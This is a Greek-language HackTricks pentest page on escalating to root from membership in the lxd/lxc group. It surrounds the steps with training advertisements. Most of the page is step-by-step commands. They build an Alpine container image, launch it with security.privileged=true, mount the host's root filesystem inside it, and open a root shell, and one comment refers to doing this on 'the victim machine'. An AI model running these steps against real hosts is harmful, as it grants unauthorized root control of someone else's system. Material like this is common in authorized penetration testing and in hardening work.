lxd/lxc Group - Privilege escalation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αν ανήκετε στην ομάδα lxd ή lxc, μπορείτε να γίνετε root

Εκμετάλλευση χωρίς ίντερνετ

Μέθοδος 1

Μπορείτε να κατεβάσετε μια εικόνα alpine για χρήση με lxd από ένα αξιόπιστο αποθετήριο. Η Canonical δημοσιεύει καθημερινές εκδόσεις στην ιστοσελίδα τους: https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/ Απλά πάρτε και τα δύο lxd.tar.xz και rootfs.squashfs από την πιο πρόσφατη έκδοση. (Το όνομα του καταλόγου είναι η ημερομηνία).

Εναλλακτικά, μπορείτε να εγκαταστήσετε στον υπολογιστή σας αυτόν τον κατασκευαστή διανομών: https://github.com/lxc/distrobuilder (ακολουθήστε τις οδηγίες του github):

# Install requirements
sudo apt update
sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage

# Clone repo
mkdir -p $HOME/go/src/github.com/lxc/
cd $HOME/go/src/github.com/lxc/
git clone https://github.com/lxc/distrobuilder

# Make distrobuilder
cd ./distrobuilder
make

# Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml

# Create the container - Beware of architecture while compiling locally.
sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64

Ανεβάστε τα αρχεία incus.tar.xz (lxd.tar.xz αν τα κατεβάσατε από το αποθετήριο της Canonical) και rootfs.squashfs, προσθέστε την εικόνα στο αποθετήριο και δημιουργήστε ένα κοντέινερ:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

# Check the image is there
lxc image list

# Create the container
lxc init alpine privesc -c security.privileged=true

# List containers
lxc list

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Caution

Αν βρείτε αυτό το σφάλμα Error: No storage pool found. Please create a new storage pool
Εκτελέστε lxd init και ρυθμίστε όλες τις επιλογές στις προεπιλεγμένες ρυθμίσεις. Στη συνέχεια επαναλάβετε το προηγούμενο κομμάτι εντολών

Τέλος, μπορείτε να εκτελέσετε το κοντέινερ και να αποκτήσετε δικαιώματα root:

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Μέθοδος 2

Δημιουργήστε μια εικόνα Alpine και ξεκινήστε την χρησιμοποιώντας την επιλογή security.privileged=true, αναγκάζοντας το κοντέινερ να αλληλεπιδρά ως root με το σύστημα αρχείων του κεντρικού υπολογιστή.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks